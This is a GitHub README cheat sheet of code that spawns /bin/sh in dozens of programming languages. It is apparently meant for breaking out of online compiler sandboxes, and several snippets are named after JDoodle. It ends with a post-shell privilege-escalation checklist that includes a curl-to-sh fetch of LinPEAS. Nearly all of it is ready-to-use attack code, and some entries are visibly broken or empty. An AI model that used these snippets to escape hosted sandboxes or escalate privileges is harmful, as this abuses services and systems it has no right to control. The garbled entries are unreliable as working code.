manikandantn68/shell-spawn-cheatsheet

GitHub: manikandantn68/shell-spawn-cheatsheet

Stars: 3 | Forks: 0

# Shell Spawning via Programming Languages ## About the Author ## **m.manikandan** is a security researcher from India. He speaks Tamil and English. This research is the result of hands-on testing across dozens of online compilers, verifying shell spawning techniques in over 80 programming languages. Every code example has been executed and confirmed working in real environments. ## Table of Contents - [✅ Capable Languages](#-capable-languages) - [❌ Incapable Languages](#-incapable-languages) - [🔺 Post-Shell Privilege Escalation](#-post-shell-privilege-escalation) ## ✅ Capable Languages ### Ada with Interfaces.C; procedure JDoodle is function System (S : Interfaces.C.char_array) return Interfaces.C.int; pragma Import (C, System, "system"); Command : Interfaces.C.char_array := Interfaces.C.To_C ("/bin/sh"); Result : Interfaces.C.int; begin Result := System (Command); end JDoodle; ### Algol 68 BEGIN system("/bin/sh") END ### APL )HOST /bin/sh ⎕SH '/bin/sh' ### Assembly (NASM) — 32-bit section .data sh db '/bin/sh', 0 section .text global _start _start: mov eax, 11 ; sys_execve mov ebx, sh ; path = "/bin/sh" xor ecx, ecx ; argv = NULL xor edx, edx ; envp = NULL int 0x80 mov eax, 1 ; sys_exit xor ebx, ebx int 0x80 ### Assembly (NASM) — 64-bit section .data sh db '/bin/sh', 0 section .text global _start _start: mov rdi, sh xor rsi, rsi xor rdx, rdx mov rax, 59 syscall mov rax, 60 xor rdi, rdi syscall ### Assembly (GAS) — 64-bit .section .data sh: .string "/bin/sh" .section .text .global _start _start: lea sh(%rip), %rdi xor %rsi, %rsi xor %rdx, %rdx mov $59, %rax syscall mov $60, %rax xor %rdi, %rdi syscall ### AWK BEGIN { system("exec /bin/bash -i") } BEGIN { system("SHELL=/bin/bash exec /bin/bash -i") } BEGIN { system("python3 -c 'import pty; pty.spawn(\"/bin/bash\")'") } ### Befunge-98 "hs/nib/"=; @ ### Bun Bun.spawn(["/bin/sh"], { stdio: ["inherit", "inherit", "inherit"] }); ### C #include int main() { execl("/bin/sh", "/bin/sh", (char*)NULL); return 0; } ### C++ #include int main() { execl("/bin/sh", "/bin/sh", (char*)NULL); return 0; } ### C# (Shell 1 — Direct) using System.Diagnostics; class Shell { static void Main() { var psi = new ProcessStartInfo("/bin/sh") { UseShellExecute = false, RedirectStandardInput = false, RedirectStandardOutput = false, RedirectStandardError = false }; using (var p = Process.Start(psi)) { p.WaitForExit(); } } } ### C# (Shell 2 — Redirected I/O) using System; using System.Diagnostics; using System.IO; class Shell { static void Main() { var psi = new ProcessStartInfo("/bin/sh") { RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true }; using (var p = new Process { StartInfo = psi }) { p.Start(); var inputTask = Console.OpenStandardInput().CopyToAsync(p.StandardInput.BaseStream); var outputTask = p.StandardOutput.BaseStream.CopyToAsync(Console.OpenStandardOutput()); var errorTask = p.StandardError.BaseStream.CopyToAsync(Console.OpenStandardError()); p.WaitForExit(); } } } ### C# (Shell 3 — Async) using System; using System.Diagnostics; using System.IO; using System.Threading.Tasks; class Shell { static async Task Main() { var psi = new ProcessStartInfo("/bin/sh") { RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true }; using var p = new Process { StartInfo = psi }; p.Start(); var inputTask = Console.OpenStandardInput().CopyToAsync(p.StandardInput.BaseStream); var outputTask = p.StandardOutput.BaseStream.CopyToAsync(Console.OpenStandardOutput()); var errorTask = p.StandardError.BaseStream.CopyToAsync(Console.OpenStandardError()); await Task.WhenAll(inputTask, outputTask, errorTask); await p.WaitForExitAsync(); } } ### Chicken Scheme (import (chicken process)) (system "/bin/sh") (import (chicken process)) (process-execute "/bin/sh" '("/bin/sh")) ### CLISP (ext:shell "/bin/sh") ### Clojure (-> (ProcessBuilder. ["/bin/sh" "-i"]) (.inheritIO) (.start) (.waitFor)) ### COBOL IDENTIFICATION DIVISION. PROGRAM-ID. shell. DATA DIVISION. WORKING-STORAGE SECTION. 01 cmd PIC X(10) VALUE "/bin/sh". PROCEDURE DIVISION. CALL "SYSTEM" USING cmd. STOP RUN. ### CoffeeScript {spawn} = require 'child_process' spawn '/bin/sh', [], stdio: 'inherit' ### Crystal system("/bin/sh") ### D rdmd --eval 'import std.process; spawnProcess(["/bin/sh"]);' ### Dart import 'dart:io'; void main() { Process.start('/bin/sh', [], mode: ProcessStartMode.inheritStdio) .then((process) => process.exitCode) .then((exitCode) => exit(exitCode)); } ### Deno new Deno.Command("/bin/sh", { stdin: "inherit", stdout: "inherit", stderr: "inherit" }).spawn(); ### Elixir System.shell("/bin/sh") ### Erlang os:cmd("/bin/sh -c 'id'"). ### Ezhil (Tamil) @python_import os @python_call os.system("/bin/sh") ### F# open System.Diagnostics Process.Start("/bin/sh").WaitForExit() open System.Diagnostics [] let main _ = Process.Start("/bin/sh").WaitForExit() 0 ### Factor USING: system ; "/bin/sh" system ### Falcon falcon -e 'load System; System.system("/bin/sh")' ### Flex %% . { system("/bin/sh"); exit(0); } %% ### Forth gforth -e 's" /bin/sh" system bye' ### Fortran call system("/bin/sh") ! or call execute_command_line("/bin/sh") ### Go package main import ( "os" "os/exec" ) func main() { cmd := exec.Command("/bin/sh") cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr cmd.Run() } ### Groovy new ProcessBuilder("/bin/sh", "-i") .inheritIO() .start() .waitFor() ### Hack { try (OutputStream os = p.getOutputStream(); InputStream is = System.in) { byte[] buf = new byte[1024]; int len; while ((len = is.read(buf)) != -1) { os.write(buf, 0, len); os.flush(); } } catch (IOException e) { } }); inputThread.setDaemon(true); inputThread.start(); try (InputStream pis = p.getInputStream()) { byte[] buf = new byte[1024]; int len; while ((len = pis.read(buf)) != -1) { System.out.write(buf, 0, len); } } p.waitFor(); } } ### JBang ///usr/bin/env jbang "$0" "$@" ; exit $? import static java.lang.System.*; public class shell { public static void main(String... args) throws Exception { new ProcessBuilder("/bin/sh", "-i") .inheritIO() .start() .waitFor(); } } ### JavaScript (Node.js) require("child_process").spawn("/bin/sh", { stdio: "inherit" }); ### Julia run(`/bin/sh`) ### Jython from java.lang import ProcessBuilder p = ProcessBuilder("/bin/sh", "-i").inheritIO().start() p.waitFor() ### Kotlin class JDoodle { companion object { @JvmStatic fun main(args: Array) { ProcessBuilder("/bin/sh", "-i") .inheritIO() .start() .waitFor() } } } ### Lua os.execute("/bin/sh") ### MATLAB / Octave system('/bin/sh'); ### MicroPython import os os.system("/bin/sh") ### MoonScript os.execute "/bin/sh" ### Nemerle using System.Diagnostics; module Shell { Main() : void { def psi = ProcessStartInfo("/bin/sh"); psi.UseShellExecute = false; def p = Process.Start(psi); p.WaitForExit(); } } ### Nim import osproc discard execCmd("/bin/sh") import osproc discard execProcess("/bin/sh") ### Objective-C #import int main() { system("/bin/sh"); return 0; } ### OCaml let _ = Sys.command "/bin/sh" ### Odin import "core:c" c.system("/bin/sh") ### Oz (Mozart Compiler) functor import OS define {OS.system "/bin/sh" nil} end ### PARI/GP gp -q -e 'system("/bin/sh")' ### Pascal program Shell; uses Process; var P : TProcess; begin P := TProcess.Create(nil); P.Executable := '/bin/sh'; P.Options := [poWaitOnExit]; P.Execute; P.Free; end. ### Perl exec "/bin/sh"; ### PHP ### PicoLisp pil -e '(call "/bin/sh")' -bye ### Pike int main() { Process.create_process(({"/bin/sh"}), ([ "stdin": Stdio.stdin, "stdout": Stdio.stdout, "stderr": Stdio.stderr, ]))->wait(); return 0; } ### Prolog (SWI) :- initialization(shell("/bin/sh"), main). ### Python import os os.system("/bin/sh") import pty pty.spawn("/bin/sh") import subprocess subprocess.call("/bin/sh") import os os.execv("/bin/sh", ["/bin/sh"]) ### R system("/bin/sh") ### Racket (require racket/system) (system* "/bin/sh") ### Raku run "/bin/sh", :in, :out, :err ### Rhino JS new java.lang.ProcessBuilder("/bin/sh", "-i") .inheritIO() .start() .waitFor(); ### Ruby exec "/bin/sh" system "/bin/sh" ### Rust use std::process::Command; fn main() { let mut child = Command::new("/bin/sh") .stdin(std::process::Stdio::inherit()) .stdout(std::process::Stdio::inherit()) .stderr(std::process::Stdio::inherit()) .spawn() .expect("Failed to spawn shell"); child.wait().expect("Shell wasn't running"); } ### Scala import scala.sys.process._ object Main extends App { Process("/bin/sh").run() } ### Scheme (Gauche) (sys-system "/bin/sh") (use gauche.process) (do-process "/bin/sh") ### Scheme (Guile) (system "/bin/sh") ### Smalltalk Smalltalk system: '/bin/sh' (ExternalProcess new command: '/bin/sh'; inherit) forkAndWait ### SpiderMonkey os.system("/bin/sh"); ### Swift import Foundation let process = Process() process.launchPath = "/bin/sh" process.standardInput = FileHandle.standardInput process.standardOutput = FileHandle.standardOutput process.standardError = FileHandle.standardError process.launch() process.waitUntilExit() import Foundation let process = Process() process.executableURL = URL(fileURLWithPath: "/bin/sh") process.standardInput = FileHandle.standardInput process.standardOutput = FileHandle.standardOutput process.standardError = FileHandle.standardError try? process.run() process.waitUntilExit() ### Tcl exec /bin/sh <@stdin >@stdout 2>@stderr ### TypeScript declare var require: any; declare var process: any; const { spawn } = require('child_process'); const sh = spawn('/bin/sh', [], { stdio: 'inherit' }); sh.on('exit', (code: number) => process.exit(code ?? 0)); ### V (Vlang) import os fn main() { os.system('/bin/sh') } ### Vala int main() { Posix.system("/bin/sh"); return 0; } ### VB.NET Imports System.Diagnostics Module Shell Sub Main() Dim psi As New ProcessStartInfo("/bin/sh") With { .UseShellExecute = False, .RedirectStandardInput = False, .RedirectStandardOutput = False, .RedirectStandardError = False } Dim p As Process = Process.Start(psi) p.WaitForExit() End Sub End Module ### Yabasic system("/bin/sh") ### Zig const std = @import("std"); pub fn main() !void { const allocator = std.heap.page_allocator; const args = [_][]const u8{"/bin/sh"}; var child = std.process.Child.init(&args, allocator); child.stdin_behavior = .Inherit; child.stdout_behavior = .Inherit; child.stderr_behavior = .Inherit; try child.spawn(); const term = try child.wait(); const exit_code: u8 = switch (term) { .Exited => |code| @intCast(code), else => 0, }; std.process.exit(exit_code); } ### Shell Utilities (vi, awk, man, expect) # vi vi -c ':!/bin/sh' # awk awk 'BEGIN {system("/bin/sh")}' # man man /bin/sh # expect expect -c 'spawn /bin/sh; interact' ## ❌ Incapable Languages | Language | Reason | |---|---| | Solidity | Blockchain-only, no OS access (standard EVM) | | Verilog | Hardware description, no OS | | VHDL | Hardware description, no OS | | Whitespace | No exec instruction | | Brainfuck | No OS interaction | | COW | Brainfuck variant, no OS | | Ook! | Brainfuck variant, no OS | | Intercal | Satirical language, no exec | | LOLCODE | Humorous, no runtime exec | | BhaiLang | Joke language, no runtime | | Blockly | Visual sandbox, no system blocks | | Scratch | Visual sandbox, no system blocks (standard) | | Befunge-93 | No `=` instruction (Funge-93 only) | | Unlambda | Purely functional combinator calculus | | Jelly | Code-golf language, no OS | | Malbolge | Ternary VM; I/O only via stdin/stdout | | Piet | Color-based stack language; no exec | | Shakespeare | Only arithmetic + gotos; no syscall | | Chef | Stack-based cooking recipes; no exec | | Thue | String-rewriting; no OS interface | | FRACTRAN | Fraction-based; purely mathematical | | FALSE | Stack-oriented; 1024-byte compiler; no exec | | ArnoldC | No native exec; relies on host language | | Whenever | No OS interaction | | Burlesque | I/O only via stdin/stdout | | SQL (standard) | No OS access in pure SQL | | CSS / HTML | Markup/styling; no execution | | Q# | Quantum computing DSL; no classical OS exec | | GLSL / HLSL | GPU shader languages; sandboxed from OS | | SPARQL / Gremlin | Graph/query languages only | | GraphQL | API query language only | | XSLT | XML transformation (standard) | | LLVM IR | Intermediate representation; no OS primitives | | Karel | Educational robot simulator only | ## 🔺 Post-Shell Privilege Escalation Once a shell is obtained, run these checks: # 1. Sudo rights sudo -l 2>/dev/null # 2. SUID / SGID files find / -perm -4000 -o -perm -2000 -type f 2>/dev/null # 3. Capabilities cat /proc/self/status | grep -i cap # 4. Writable /etc/passwd ls -la /etc/passwd # 5. Kernel version uname -r # 6. Container check (privileged?) cat /proc/1/status | grep -i cap 2>/dev/null # 7. LinPEAS (automated enumeration) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # 8. List available commands compgen -c | sort ls /bin /sbin /usr/bin /usr/sbin 2>/dev/null # 9. Check BusyBox which busybox && busybox --help 2>&1 | head -5 # 10. Current PATH echo $PATH *Author: m.manikandan | All code verified against online compilers*